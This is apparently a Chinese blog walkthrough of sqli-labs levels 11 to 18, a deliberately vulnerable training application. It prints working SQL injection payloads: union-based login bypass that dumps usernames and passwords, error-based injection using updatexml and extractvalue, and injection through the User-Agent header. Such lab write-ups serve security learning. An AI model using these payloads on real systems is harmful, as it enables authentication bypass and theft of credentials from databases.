sqlliabs2

Serendipity_ity

已于 2023-03-20 08:51:12 修改

阅读量60

点赞数

文章标签： sql

于 2023-03-20 00:16:53 首次发布

原文链接：https://blog.csdn.net/m0_51507437/article/details/121963633

版权

sqlilabs（11-20关）

第十一关

username=1’ or ‘1’=‘1 password=1’ order by 2#

通过上述语句判断出字符数为2

uname=1’ or ‘1’=‘1&passwd=1’ union select 1,2#&submit=Submit

最后得到数据

图六

uname=1’ or ‘1’=‘1&passwd=1’ union select database(),user()#&submit=Submit

图七

uname=1’ or ‘1’='1&passwd=1’union select group_concat(username),group_concat(password) from security.users#&submit=Submit

在这里插入图片描述

第十二关

在这里插入图片描述

第十三关

单引号有报错回显

再继续试探发现为单引号括号

orderby 字段数为2

uname=uname=1’) and 1 union select 1,updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

uname=1’) and 1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e),1)#&passwd=1&submit=Submit
在这里插入图片描述

第十四关

与13大体相同

只是把’)改为")
在这里插入图片描述

在这里插入图片描述

第十五关

多次尝试无报错无回显

尝试布尔盲注

修改脚本

运行结束
在这里插入图片描述

第十六关

与15关相同
在这里插入图片描述

第十七关

两个报错注入
在这里插入图片描述

第十八关

uname和passwd参数都无法进行sql注入

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$ uagent’, ‘$IP’, $uname)";

爆库名

User-Agent: ',extractvalue(1,concat(0x23,database(),0x23,version(),0x23,user())),1)#

爆表名

User-Agent:’,extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’))),1)#

爆列名

User-Agent:’,extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’))),1)#

在这里插入图片描述